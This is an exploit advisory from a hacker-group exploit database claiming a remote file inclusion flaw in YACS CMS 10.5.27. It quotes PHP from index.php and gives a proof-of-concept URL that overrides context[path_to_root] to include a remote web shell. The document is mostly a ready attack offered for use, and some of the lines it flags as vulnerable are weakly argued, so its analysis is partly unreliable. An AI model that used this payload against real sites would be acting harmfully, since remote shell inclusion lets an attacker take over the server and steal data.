========================================================
YACK CMS 10.5.27 Remote File Inclusion Vulnerability
========================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ########################################          1
0                    I'm eidelweiss member from Inj3ct0r Team          1
1                    ########################################          0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Vendor:    http://www.yacs.fr
download:  http://www.yacs.fr/file-fetch/1238-20100527-yacs-10-5-27.tgz
Author:    eidelweiss
Contact:  g1xsystem[at]windowslive.com

=====================================================================

  -=[ vuln c0de ]=-

[!] index.php

// load global definitions
if($home = getenv('YACS_HOME'))
  include_once str_replace('//', '/', $home.'/').'shared/global.php';  // <= 0
elseif(is_readable('yacs.home') && is_callable('file_get_contents') && ($content = trim(file_get_contents('yacs.home'), " \t\n\r\0\x0B\\/.")) && is_readable($content.'/shared/global.php'))
  include_once $content.'/shared/global.php';  // <= 1
elseif(is_readable('shared/global.php'))
  include_once 'shared/global.php';
elseif(is_readable('yacs/shared/global.php'))
  include_once 'yacs/shared/global.php';
else
  exit('The file shared/global.php has not been found. Please reinstall or mention home directory in file yacs.home or configure the YACS_HOME environment variable.');

// load libraries used in this script
include_once $context['path_to_root'].'feeds/feeds.php'; // some links to newsfeeds
include_once $context['path_to_root'].'links/links.php';  //  <= 2 (i dont give fuck)


=====================================================================

  -=[ P0C ]=-

  http://127.0.0.1/path/index.php?context[path_to_root]= [inj3ct0r shell]

  etc , etc , etc

=====================================================================